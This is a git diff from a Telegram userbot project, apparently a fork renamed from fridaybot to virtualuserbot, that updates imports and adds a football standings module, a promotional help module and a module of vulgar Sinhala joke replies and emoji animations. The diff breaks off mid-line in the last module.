"uniborg.media.ffmpeg" diff --git a/fridaybot/modules/figlet.py b/virtualuserbot/modules/figlet.py similarity index 92% rename from fridaybot/modules/figlet.py rename to virtualuserbot/modules/figlet.py index 30e6513f..fa6b01c7 100644 --- a/fridaybot/modules/figlet.py +++ b/virtualuserbot/modules/figlet.py @@ -1,7 +1,7 @@ import pyfiglet -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="figlet ?(.*)", outgoing=True)) diff --git a/fridaybot/modules/fileext.py b/virtualuserbot/modules/fileext.py similarity index 97% rename from fridaybot/modules/fileext.py rename to virtualuserbot/modules/fileext.py index 6ee62f76..4408e676 100644 --- a/fridaybot/modules/fileext.py +++ b/virtualuserbot/modules/fileext.py @@ -4,7 +4,7 @@ from bs4 import BeautifulSoup from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="filext (.*)")) diff --git a/fridaybot/modules/filemanager.py b/virtualuserbot/modules/filemanager.py similarity index 100% rename from fridaybot/modules/filemanager.py rename to virtualuserbot/modules/filemanager.py diff --git a/fridaybot/modules/filters.py b/virtualuserbot/modules/filters.py similarity index 94% rename from fridaybot/modules/filters.py rename to virtualuserbot/modules/filters.py index 72afcd2e..f1f29459 100644 --- a/fridaybot/modules/filters.py +++ b/virtualuserbot/modules/filters.py @@ -12,14 +12,14 @@ from telethon import utils from telethon.tl import types -from fridaybot import CMD_HELP -from fridaybot.modules.sql_helper.filter_sql import ( +from virtualuserbot import CMD_HELP +from virtualuserbot.modules.sql_helper.filter_sql import ( add_filter, get_all_filters, remove_all_filters, remove_filter, ) -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd DELETE_TIMEOUT = 0 TYPE_TEXT = 0 @@ -37,7 +37,7 @@ async def on_snip(event): name = event.raw_text if event.chat_id in last_triggered_filters: if name in last_triggered_filters[event.chat_id]: - # avoid fridaybot spam + # avoid virtualuserbot spam # "I demand rights for us bots, we are equal to you humans." -Henri Koivuneva (t.me/UserbotTesting/2698) return False snips = get_all_filters(event.chat_id) @@ -145,9 +145,9 @@ async def on_snip_delete(event): @friday.on(friday_on_cmd(pattern="rmfilters$")) @friday.on(sudo_cmd(pattern="rmfilters$", allow_sudo=True)) async def on_all_snip_delete(event): - await edit_or_reply(event, "Processing....") + edit_or_reply(event, "Processing....") remove_all_filters(event.chat_id) - await sadness.edit(f"filters **in current chat** deleted successfully") + await event.edit(f"filters **in current chat** deleted successfully") CMD_HELP.update( diff --git a/fridaybot/modules/fine.txt b/virtualuserbot/modules/fine.txt similarity index 100% rename from fridaybot/modules/fine.txt rename to virtualuserbot/modules/fine.txt diff --git a/fridaybot/modules/fleaveme.py b/virtualuserbot/modules/fleaveme.py similarity index 97% rename from fridaybot/modules/fleaveme.py rename to virtualuserbot/modules/fleaveme.py index 02e39065..02294cbe 100644 --- a/fridaybot/modules/fleaveme.py +++ b/virtualuserbot/modules/fleaveme.py @@ -9,7 +9,7 @@ from telethon import events -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(events.NewMessage(pattern=r"\.fleave", outgoing=True)) diff --git a/fridaybot/modules/font3.py b/virtualuserbot/modules/font3.py similarity index 96% rename from fridaybot/modules/font3.py rename to virtualuserbot/modules/font3.py index 49e164fd..57645dfd 100644 --- a/fridaybot/modules/font3.py +++ b/virtualuserbot/modules/font3.py @@ -1,6 +1,7 @@ +from virtualuserbot import CMD_HELP +from virtualuserbot.modules import fonts + from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import CMD_HELP -from fridaybot.modules import fonts @bot.on(admin_cmd(pattern="fmusical(?: |$)(.*)")) diff --git a/fridaybot/modules/fonts.py b/virtualuserbot/modules/fonts.py similarity index 100% rename from fridaybot/modules/fonts.py rename to virtualuserbot/modules/fonts.py diff --git a/fridaybot/modules/fonts2.py b/virtualuserbot/modules/fonts2.py similarity index 95% rename from fridaybot/modules/fonts2.py rename to virtualuserbot/modules/fonts2.py index 2672c2b6..264a08d7 100644 --- a/fridaybot/modules/fonts2.py +++ b/virtualuserbot/modules/fonts2.py @@ -1,8 +1,9 @@ import random +from virtualuserbot import CMD_HELP +from virtualuserbot.modules import fonts + from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import CMD_HELP -from fridaybot.modules import fonts @bot.on(admin_cmd(pattern="egyptf(?: |$)(.*)")) diff --git a/virtualuserbot/modules/football.py b/virtualuserbot/modules/football.py new file mode 100644 index 00000000..42c41135 --- /dev/null +++ b/virtualuserbot/modules/football.py @@ -0,0 +1,411 @@ +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + + +import requests + +from virtualuserbot import CMD_HELP +from virtualuserbot.Configs import Config +from virtualuserbot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="fpl")) +async def _(event): + if event.fwd_from: + return + + if Config.FOOTBALL_API_KEY is None: + await event.edit( + "Need to get an API key from https://rapidapi.com/api-sports/api/api-football-beta\nModule stopping!" + ) + return + + appo = Config.FOOTBALL_API_KEY + url = "https://api-football-beta.p.rapidapi.com/standings" + querystring = {"season": "2020", "league": "39"} + headers = { + "x-rapidapi-key": appo, + "x-rapidapi-host": "api-football-beta.p.rapidapi.com", + } + response = requests.request("GET", url, headers=headers, params=querystring) + a = response.json() + b = a.get("response") + c = b[0] + d = c.get("league") + e = d.get("name") + f = d.get("country") + logo = d.get("logo") + season = d.get("season") + g = d.get("standings") + h = g[0] + i = h[0] + rank = i.get("rank") + k = i.get("team") + nomo = k.get("name") + + pont = i.get("points") + kk = i.get("all") + pl = kk.get("played") + wein = kk.get("win") + yqw = kk.get("draw") + pol = kk.get("lose") + nex = h[1] + new = nex.get("rank") + np = nex.get("team") + nee = np.get("name") + popo = nex.get("points") + oloq = nex.get("all") + oloq.get("played") + wein1 = oloq.get("win") + yqw1 = oloq.get("draw") + pol1 = oloq.get("lose") + + nex2 = h[2] + new2 = nex2.get("rank") + np2 = nex2.get("team") + nee2 = np2.get("name") + popo2 = nex2.get("points") + oloq2 = nex2.get("all") + oloq2.get("played") + wein2 = oloq2.get("win") + yqw2 = oloq2.get("draw") + pol2 = oloq2.get("lose") + + nex3 = h[3] + new3 = nex3.get("rank") + np3 = nex3.get("team") + nee3 = np3.get("name") + popo3 = nex3.get("points") + oloq3 = nex3.get("all") + oloq3.get("played") + wein3 = oloq3.get("win") + yqw3 = oloq3.get("draw") + pol3 = oloq3.get("lose") + + nex4 = h[4] + new4 = nex4.get("rank") + np4 = nex4.get("team") + nee4 = np4.get("name") + popo4 = nex4.get("points") + oloq4 = nex4.get("all") + oloq4.get("played") + wein4 = oloq4.get("win") + yqw4 = oloq4.get("draw") + pol4 = oloq4.get("lose") + + caption = f"""{e} +Country:- {f} +season = {season} +Standings +Rank:- {rank} +Name:- {nomo} +points:- {pont} +Played:- {pl} +win:- {wein} +Draw:- {yqw} +Lose:- {pol} +Rank:- {new} +Name:- {nee} +points:- {popo} +Win:- {wein1} +Draw:- {yqw1} +Lose:- {pol1} +Rank:- {new2} +Name:- {nee2} +points:- {popo2} +Win:- {wein2} +Draw:- {yqw2} +Lose:- {pol2} +Rank:- {new3} +Name:- {nee3} +points:- {popo3} +Win:- {wein3} +Draw:- {yqw3} +Lose:- {pol3} +Rank:- {new4} +Name:- {nee4} +points:- {popo4} +Win:- {wein4} +Draw:- {yqw4} +Lose:- {pol4} +""" + + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + file=logo, + force_document=False, + silent=True, + ) + await event.delete() + + +@friday.on(admin_cmd(pattern="ffl")) +async def _(event): + if event.fwd_from: + return + + if Config.FOOTBALL_API_KEY is None: + await event.edit( + "Need to get an API key from https://rapidapi.com/api-sports/api/api-football-beta\nModule stopping!" + ) + return + + appo = Config.FOOTBALL_API_KEY + url = "https://api-football-beta.p.rapidapi.com/standings" + querystring = {"season": "2020", "league": "61"} + headers = { + "x-rapidapi-key": appo, + "x-rapidapi-host": "api-football-beta.p.rapidapi.com", + } + response = requests.request("GET", url, headers=headers, params=querystring) + a = response.json() + b = a.get("response") + c = b[0] + d = c.get("league") + e = d.get("name") + f = d.get("country") + logo = d.get("logo") + season = d.get("season") + g = d.get("standings") + h = g[0] + i = h[0] + rank = i.get("rank") + k = i.get("team") + nomo = k.get("name") + + pont = i.get("points") + kk = i.get("all") + pl = kk.get("played") + wein = kk.get("win") + yqw = kk.get("draw") + pol = kk.get("lose") + nex = h[1] + new = nex.get("rank") + np = nex.get("team") + nee = np.get("name") + popo = nex.get("points") + oloq = nex.get("all") + oloq.get("played") + wein1 = oloq.get("win") + yqw1 = oloq.get("draw") + pol1 = oloq.get("lose") + + nex2 = h[2] + new2 = nex2.get("rank") + np2 = nex2.get("team") + nee2 = np2.get("name") + popo2 = nex2.get("points") + oloq2 = nex2.get("all") + oloq2.get("played") + wein2 = oloq2.get("win") + yqw2 = oloq2.get("draw") + pol2 = oloq2.get("lose") + + nex3 = h[3] + new3 = nex3.get("rank") + np3 = nex3.get("team") + nee3 = np3.get("name") + popo3 = nex3.get("points") + oloq3 = nex3.get("all") + oloq3.get("played") + wein3 = oloq3.get("win") + yqw3 = oloq3.get("draw") + pol3 = oloq3.get("lose") + + nex4 = h[4] + new4 = nex4.get("rank") + np4 = nex4.get("team") + nee4 = np4.get("name") + popo4 = nex4.get("points") + oloq4 = nex4.get("all") + oloq4.get("played") + wein4 = oloq4.get("win") + yqw4 = oloq4.get("draw") + pol4 = oloq4.get("lose") + + caption = f"""{e} +Country:- {f} +season = {season} +Standings +Rank:- {rank} +Name:- {nomo} +points:- {pont} +Played:- {pl} +win:- {wein} +Draw:- {yqw} +Lose:- {pol} +Rank:- {new} +Name:- {nee} +points:- {popo} +Win:- {wein1} +Draw:- {yqw1} +Lose:- {pol1} +Rank:- {new2} +Name:- {nee2} +points:- {popo2} +Win:- {wein2} +Draw:- {yqw2} +Lose:- {pol2} +Rank:- {new3} +Name:- {nee3} +points:- {popo3} +Win:- {wein3} +Draw:- {yqw3} +Lose:- {pol3} +Rank:- {new4} +Name:- {nee4} +points:- {popo4} +Win:- {wein4} +Draw:- {yqw4} +Lose:- {pol4} +""" + + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + file=logo, + force_document=False, + silent=True, + ) + await event.delete() + + +@friday.on(admin_cmd(pattern="fuefa$")) +async def _(event): + if event.fwd_from: + return + + if Config.FOOTBALL_API_KEY is None: + await event.edit( + "Need to get an API key from https://rapidapi.com/api-sports/api/api-football-beta\nModule stopping!" + ) + return + + appo = Config.FOOTBALL_API_KEY + url = "https://api-football-beta.p.rapidapi.com/standings" + querystring = {"season": "2020", "league": "2"} + headers = { + "x-rapidapi-key": appo, + "x-rapidapi-host": "api-football-beta.p.rapidapi.com", + } + response = requests.request("GET", url, headers=headers, params=querystring) + a = response.json() + b = a.get("response") + c = b[0] + d = c.get("league") + e = d.get("name") + f = d.get("country") + logo = d.get("logo") + season = d.get("season") + g = d.get("standings") + h = g[0] + i = h[0] + rank = i.get("rank") + k = i.get("team") + nomo = k.get("name") + + pont = i.get("points") + kk = i.get("all") + pl = kk.get("played") + wein = kk.get("win") + yqw = kk.get("draw") + pol = kk.get("lose") + nex = h[1] + new = nex.get("rank") + np = nex.get("team") + nee = np.get("name") + popo = nex.get("points") + oloq = nex.get("all") + oloq.get("played") + wein1 = oloq.get("win") + yqw1 = oloq.get("draw") + pol1 = oloq.get("lose") + + nex2 = h[2] + new2 = nex2.get("rank") + np2 = nex2.get("team") + nee2 = np2.get("name") + popo2 = nex2.get("points") + oloq2 = nex2.get("all") + oloq2.get("played") + wein2 = oloq2.get("win") + yqw2 = oloq2.get("draw") + pol2 = oloq2.get("lose") + + nex3 = h[3] + new3 = nex3.get("rank") + np3 = nex3.get("team") + nee3 = np3.get("name") + popo3 = nex3.get("points") + oloq3 = nex3.get("all") + oloq3.get("played") + wein3 = oloq3.get("win") + yqw3 = oloq3.get("draw") + pol3 = oloq3.get("lose") + + caption = f"""{e} +Country:- {f} +season = {season} +Standings +Rank:- {rank} +Name:- {nomo} +points:- {pont} +Played:- {pl} +win:- {wein} +Draw:- {yqw} +Lose:- {pol} +Rank:- {new} +Name:- {nee} +points:- {popo} +Win:- {wein1} +Draw:- {yqw1} +Lose:- {pol1} +Rank:- {new2} +Name:- {nee2} +points:- {popo2} +Win:- {wein2} +Draw:- {yqw2} +Lose:- {pol2} +Rank:- {new3} +Name:- {nee3} +points:- {popo3} +Win:- {wein3} +Draw:- {yqw3} +Lose:- {pol3} +""" + + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + file=logo, + force_document=False, + silent=True, + ) + await event.delete() + + +CMD_HELP.update( + { + "football": "**Football**\ +\n\n**Syntax : **`.fpl`\ +\n**Usage :** Shows Premier League's Standings.\ +\n\n**Syntax : **`.ffl`\ +\n**Usage :** Shows French Ligue1 Standings.\ +\n\n**Syntax : **`.fuefa`\ +\n**Usage :** Shows UEFA championship Standings." + } +) diff --git a/fridaybot/modules/fpost.py b/virtualuserbot/modules/fpost.py similarity index 100% rename from fridaybot/modules/fpost.py rename to virtualuserbot/modules/fpost.py diff --git a/virtualuserbot/modules/fridaybot.py b/virtualuserbot/modules/fridaybot.py new file mode 100644 index 00000000..dc35b471 --- /dev/null +++ b/virtualuserbot/modules/fridaybot.py @@ -0,0 +1,50 @@ +"""Emoji +Available Commands: +.support +""" + + +import asyncio + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd + + +@friday.on(friday_on_cmd("virtualuserbot")) +async def _(event): + if event.fwd_from: + return + animation_interval = 0.1 + animation_ttl = range(0, 36) + # input_str = event.pattern_match.group(1) + # if input_str == "Read This Telegraph Whole info here": + await event.edit("Thanks") + animation_chars = [ + "Click here to Go to our Official Website", + "[Click Here For Guide](https://techwizardent.com/blog/twe_blog_userbot.php)", + ] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + await event.edit(animation_chars[i % 18]) + + +CMD_HELP.update( + { + "VirtualUserbot": "**VirtualUserbot**\ +\n\n** Congragulations **\ +\n ` You have Successfully installed the VirtualUserbot`\ +\n\n Now you can find all new features in Whats New\ +\n\n In this Help menu You can find all the available commands with .help\ +\n `If you need more plugins contact @InukaASiTH`\ +\n Updates Channel: @Infinity_Bots\ +\n Bot Support: @InfinityJE\ +\n Developed By: @InukaASiTH for @Infinity_Bots\ +\n Supporters: @Kaveesha_Induwara ,@Zzlll_lllzZ , @ImJanindu, @dasun_pamod \ +\n\n ❤️ Project Cloned and Developed based on @FridayOT Project ❤️\ +\n `Full Respect to Friday Devs`\ +\n\n\n**Try : **`.virtualuserbot`\ +\n**For :** full VirtualUserbot's guide." + } +) diff --git a/fridaybot/modules/ftext.py b/virtualuserbot/modules/ftext.py similarity index 100% rename from fridaybot/modules/ftext.py rename to virtualuserbot/modules/ftext.py diff --git a/virtualuserbot/modules/fuck11.py b/virtualuserbot/modules/fuck11.py new file mode 100644 index 00000000..43ad2098 --- /dev/null +++ b/virtualuserbot/modules/fuck11.py @@ -0,0 +1,965 @@ +""" + +Available Commands: + +.sux + +.fuuk + +.kiss""" + + +import asyncio +import random +from asyncio import sleep + +from virtualuserbot import CMD_HELP, bot + +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + +img1 = "https://t.me/danish2512/2" +img2 = "https://t.me/danish2512/3" +img3 = "https://t.me/danish2512/4" +img4 = "https://t.me/danish2512/5" +img5 = "https://t.me/danish2512/6" +img6 = "https://t.me/danish2512/7" +img7 = "https://t.me/danish2512/8" +img8 = "https://t.me/danish2512/9" +img9 = "https://t.me/danish2512/10" +img10 = "https://t.me/danish2512/11" +img11 = "https://t.me/danish2512/12" +img12 = "https://t.me/danish2512/13" +img13 = "https://t.me/danish2512/14" +img14 = "https://t.me/danish2512/15" +img15 = "https://t.me/danish2512/16" +img16 = "https://t.me/danish2512/17" +img17 = "https://t.me/danish2512/18" +img18 = "https://t.me/danish2512/19" +img19 = "https://t.me/danish2512/20" +img20 = "https://t.me/danish2512/21" +img21 = "https://t.me/danish2512/22" +img22 = "https://t.me/danish2512/23" +img23 = "https://t.me/danish2512/24" +img24 = "https://t.me/danish2512/25" +img25 = "https://t.me/danish2512/26" +img26 = "https://t.me/danish2512/27" +img27 = "https://t.me/danish2512/28" +img28 = "https://t.me/danish2512/29" +img29 = "https://t.me/danish2512/30" +img30 = "https://t.me/danish2512/31" + + +RUNSTRINGS = ( + "💔 මල්ලියෝ!! ම්ං අර දෙන්නෙක්ට ආදරේ කරේ නෑනේ සුදු මල්ලියෝ!! 💔", + "❤ ආදලෙයි 150GB ක්!! ❤", + "ඕයි...! පෙට්ටිය කැඩුවනම් දැන් ලමය බාරගනින්!!", + "තමුසෙ පිස්සෙක්නෙ ඕයි!", + "මොනාද හුත්තෝ බලන්නේ...??", + "කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!!", + "හායි!! කෝමද පැටියෝ ❣❣", + "මැරිලත් පැය හතරක් ආදරෙයි.. අම්මපා", + "ටෞකන්ඩ මූ යකෝ!!", + "ඔයා අදත් මට අර යෝගට් පානය දෙනවද...?", + "චූ කරල නිදාගනින් අයියේ...", + "ඔයා හරි සෝයි අනේ.. සෝ කියුට්... 😋", + "අපි දෙන්න පැනල යමු.. හාද?? . ", + "පල යන්න වේසාවෝ!!", + "💔 මල්ලියෝ!! ම්ං අර දෙන්නෙක්ට ආදරේ කරේ නෑනේ සුදු මල්ලියෝ!! 💔", + "අඩ්ඩේහ්..! මේ මොකද කරන්නේ??", + "පොඩිකාලෙ බිව්වෙ පොල්කිරිද මල්ලී 🤑", + "සීනි කන්න ආපු කූඹියො නෙමෙයි සීනි බෝතලේ ඇරපු ඔයයි වැරදි..", + "කවුරු කොහොම් කිව්වත් \nකොත්තු කෑවොත් බඩ යන එක යනවමයි!", + "ආදරෙයි.. මැණික ❤❤", + "❤ ආදලෙයි 250GB ක්!! ❤", + "හදුන්වාදෙන වැඩි දිගකින් යුත් fens.. \nභාවිත කර බලා වෙනස හඳුනාගන්න!", + "ඔයාට suprise එකක් තියෙයි.. /kickme කියල ගහල බලන්නකෝ 😂", + "ට්‍රැක්ටරය පැදවීමට මාගේ ඡායාරූප භාවිත කිරීමෙන් වලකින්න ", + "ඔයාට suprise එකක් තියෙයි.. /kickme කියල ගහල බලන්නකෝ 😂", + "මූ හුත්තෝ..", + "මොන හුයන්නක්ද මේ", + "පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල", + "ටොයිලට් එකේ ඉද්දි හෙඩ්සෙට් එක ගහන් සින්දු අහන්න එපා ඕයි...", + "බලු කූඩුව ඇරියෙ මොකාද යකෝ!!", + "බය තරහ ඇති කරවයි. තරහ වයිරය උපදවයි. වරිරය පසුතැවීම ඇති කරයි. ඔබ බයෙන් ජීවත්වන තුරු ලංකාවේ බඩු මිල පහත නොයයි", + "රට්ටු හිනස්සන්න එපා මල්ලී.", + "හදිසි අවස්තාවකදී ගිලන්රථයක් ගෙන්වා ගැනීමට 1990 අමතන්න", + "අපේ ගෲප් එකත් එක්ක අදම සෙට් වෙන්න t.me/InfinityJE ❤", + "ඔයාට කොච්චර සල්ලි තිබුනත් කොච්චර බලය තිබුනත් කොත්තු කෑවොත් බඩ යන එක නවත්තන්න ඔයාට බෑ 🌮🌮.", + "💔 මල්ලියෝ!! ම්ං අර දෙන්නෙක්ට ආදරේ කරේ නෑනේ සුදු මල්ලියෝ!! 💔", + "ටෞකන්ඩ මූ යකෝ!!!", + "කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!", + "පොඩිකාලෙ බිව්වෙ පොල්කිරිද මල්ලී 🤑", + "කවුරු කොහොම් කිව්වත් \nකොත්තු කෑවොත් බඩ යන එක යනවමයි!", + "රට්ටු හිනස්සන්න එපා මල්ලී.", + "ආදරෙයි.. මැණික ❤❤", + "💔 මල්ලියෝ!! ම්ං අර දෙන්නෙක්ට ආදරේ කරේ නෑනේ සුදු මල්ලියෝ!! 💔", +) + + +@bot.on(admin_cmd(pattern=r"\.(.*)", outgoing=True)) +async def _(event): + + if event.fwd_from: + + return + + animation_interval = 0.1 + + animation_ttl = range(0, 101) + + input_str = event.pattern_match.group(1) + + if input_str == "fuuk": + + await event.edit(input_str) + + animation_chars = ["👉 ✊️", "👉 ✊️", "👉 ✊️", "👉✊️💦"] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 4]) + + +@bot.on(admin_cmd(pattern=r"(.*)", outgoing=True)) +async def _(event): + + if event.fwd_from: + + return + + animation_interval = 0.2 + + animation_ttl = range(0, 101) + + input_str = event.pattern_match.group(1) + + if input_str == "sux": + + await event.edit(input_str) + + animation_chars = ["🤵 👰", "🤵 👰", "🤵 👰", "🤵👼👰"] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 4]) + + +"" + + +@bot.on(admin_cmd(pattern=r"(.*)", outgoing=True)) +async def _(event): + + if event.fwd_from: + + return + + animation_interval = 0.2 + + animation_ttl = range(0, 101) + + input_str = event.pattern_match.group(1) + + if input_str == "kiss": + + await event.edit(input_str) + + animation_chars = ["🤵 👰", "🤵 👰", "🤵 👰", "🤵💋👰"] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 4]) + + +@bot.on(admin_cmd(pattern="kp$")) +@bot.on(sudo_cmd(pattern="kp$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** කැරි පකයා **", + ) + + +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + + +@bot.on(admin_cmd(pattern="slo$")) +@bot.on(sudo_cmd(pattern="slo$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල😎 **", + ) + + +@bot.on(admin_cmd(pattern="hp$")) +@bot.on(sudo_cmd(pattern="hp$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** හුත්තිගෙ පුතා **", + ) + + +@bot.on(admin_cmd(pattern="hu$")) +@bot.on(sudo_cmd(pattern="hu$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!😂😂**", + ) + + +@bot.on(admin_cmd(pattern="sm$")) +@bot.on(sudo_cmd(pattern="sm$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** එහෙම එවා නෑ පුතා..😍 ඒ සෙලවෙන මනස **", + ) + + +@bot.on(admin_cmd(pattern="fk$")) +@bot.on(sudo_cmd(pattern="fk$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "**පල හුත්තෝ යන්න 😂\n තෝ සමාජයට විහිළුවක් ඕයි 😒**", + ) + + +@bot.on(admin_cmd(pattern="tah$")) +@bot.on(sudo_cmd(pattern="tah$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** ටහුකන්න අලංකාර 😐🤚**", + ) + + +@bot.on(admin_cmd(pattern="bs$")) +@bot.on(sudo_cmd(pattern="bs$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** Good Night 🌙 Bs ☸️ Jp ✝️Tc 😘Byee...👋👋👋👋 **", + ) + + +@bot.on(admin_cmd(pattern="aks$")) +@bot.on(sudo_cmd(pattern="aks$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** අනියම් කාම සේවනය තරයේ හෙලා දකිමි 🙈 **", + ) + + +@bot.on(admin_cmd(pattern="ja$")) +@bot.on(sudo_cmd(pattern="ja$", allow_sudo=True)) +async def gn(event): + await edit_or_reply( + event, + "** ජීවිතය අනියතය..☹️ මරණය නියතය 🙏 මහනවීම සැපය 🙏**", + ) + + +@bot.on(admin_cmd(pattern=f"srun$", outgoing=True)) +@bot.on(sudo_cmd(pattern="snun$", allow_sudo=True)) +async def runstrings(event): + txt = random.choice(RUNSTRINGS) + await edit_or_reply(event, txt) + + +from virtualuserbot import CMD_HELP + + +@bot.on(admin_cmd("newyear")) +async def _(event): + if event.fwd_from: + return + animation_interval = 1 + animation_ttl = range(0, 80) + await event.edit("😊 HAPPY NEW YEAR 😁") + animation_chars = [ + "💖HAPPY NEW YEAR💖", + "💙HAPPY NEW YEAR💙", + "❤️HAPPY NEW YEAR❤️", + "💚HAPPY NEW YEAR💚", + "💜HAPPY NEW YEAR💜", + ] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + await event.edit(animation_chars[i % 5]) + + +@bot.on(admin_cmd("happynewyear")) +async def _(event): + if event.fwd_from: + return + animation_interval = 1 + animation_ttl = range(0, 22) + await event.edit("😊 HAPPY NEW YEAR TO ALL 😁") + animation_chars = [ + """💜💜 💜💜 +💜💜 💜💜 +💜💜 💜💜 +💜💜 💜💜 +💜💜💜💜💜💜💜💜💜 +💜💜💜💜💜💜💜💜💜 +💜💜 💜💜 +💜💜 💜💜 +💜💜 💜💜 +💜💜 💜💜""", + """ㅤㅤㅤㅤㅤ ㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤ + 💙💙 + 💙💙💙 + 💙💙💙💙 + 💙💙 💙💙 + 💙💙 💙💙 + 💙💙 💙💙 + 💙💙💙💙💙💙 + 💙💙💙💙💙💙 + 💙💙 💙💙 + 💙💙 💙💙 +💙💙 💙💙""", + """💚💚💚💚💚💚💚 +💚💚💚💚💚💚💚💚 +💚💚 💚💚 +💚💚 💚💚 +💚💚💚💚💚💚💚💚 +💚💚💚💚💚💚💚 +💚💚 +💚💚 +💚💚 +💚💚""", + """💛💛💛💛💛💛 +💛💛💛💛💛💛💛 +💛💛 💛💛 +💛💛 💛💛 +💛💛💛💛💛💛💛 +💛💛💛💛💛💛 +💛💛 +💛💛 +💛💛 +💛💛""", + """💜💜 💜💜 + 💜💜 💜💜 + 💜💜 💜💜 + 💜💜 💜💜 + 💜💜💜 + 💜💜 + 💜💜 + 💜💜 + 💜💜 + 💜💜""", + """😺😺 😺😺 +😺😺😺 😺😺 +😺😺😺😺 😺😺 +😺😺 😺😺 😺😺 +😺😺 😺😺 😺😺 +😺😺 😺😺 😺😺 +😺😺 😺😺 😺😺 +😺😺 😺😺😺😺 +😺😺 😺😺😺 +😺😺 😺😺 +""", + """😁😁😁😁😁😁😁😁 +😁😁😁😁😁😁😁😁 +😁😁 +😁😁 +😁😁😁😁😁😁 +😁😁😁😁😁😁 +😁😁 +😁😁 +😁😁😁😁😁😁😁😁 +😁😁😁😁😁😁😁😁""", + """🥳🥳 🥳🥳 +🥳🥳 🥳🥳 +🥳🥳 🥳🥳 +🥳🥳 🥳🥳 +🥳🥳 🥳 🥳🥳 + 🥳🥳 🥳🥳 🥳🥳 + 🥳🥳 🥳🥳🥳 🥳🥳 + 🥳🥳 🥳🥳 🥳🥳 🥳🥳 + 🥳🥳🥳🥳 🥳🥳🥳🥳 + 🥳🥳🥳 🥳🥳🥳""", + """🌈🌈 🌈🌈 + 🌈🌈 🌈🌈 + 🌈🌈 🌈🌈 + 🌈🌈 🌈🌈 + 🌈🌈🌈 + 🌈🌈 + 🌈🌈 + 🌈🌈 + 🌈🌈 + 🌈🌈""", + """🎊🎊🎊🎊🎊🎊🎊🎊 +🎊🎊🎊🎊🎊🎊🎊🎊 +🎊🎊 +🎊🎊 +🎊🎊🎊🎊🎊🎊 +🎊🎊🎊🎊🎊🎊 +🎊🎊 +🎊🎊 +🎊🎊🎊🎊🎊🎊🎊🎊 +🎊🎊🎊🎊🎊🎊🎊🎊""", + """ + ㅤ + 🎉🎉 + 🎉🎉🎉 + 🎉🎉 🎉🎉 + 🎉🎉 🎉🎉 + 🎉🎉 🎉🎉 + 🎉🎉🎉🎉🎉🎉 + 🎉🎉🎉🎉🎉🎉🎉 + 🎉🎉 🎉🎉 + 🎉🎉 🎉🎉 +🎉🎉 🎉🎉""", + """ +🕉🕉🕉🕉🕉🕉🕉 +🕉🕉🕉🕉🕉🕉🕉🕉 +🕉🕉 🕉🕉 +🕉🕉 🕉🕉 +🕉🕉🕉🕉🕉🕉🕉🕉 +🕉🕉🕉🕉🕉🕉🕉 +🕉🕉 🕉🕉 +🕉🕉 🕉🕉 +🕉🕉 🕉🕉 +🕉🕉 🕉🕉""", + ] + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + await event.edit(animation_chars[i % 12]) + + +@bot.on(admin_cmd(pattern=f"cyfile$", outgoing=True)) +@bot.on(sudo_cmd(pattern=f"cyfile$", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + event = await edit_or_reply(event, "cyfiles") + await event.edit("❄️ **Disconnected**") + await asyncio.sleep(2) + await event.edit("🌩 **Connecting.**") + await asyncio.sleep(0.5) + await event.edit("🌧 **Connecting..**") + await asyncio.sleep(0.5) + await event.edit("🌩 **Connecting...**") + await asyncio.sleep(0.5) + await event.edit("🌧 **Connecting.**") + await 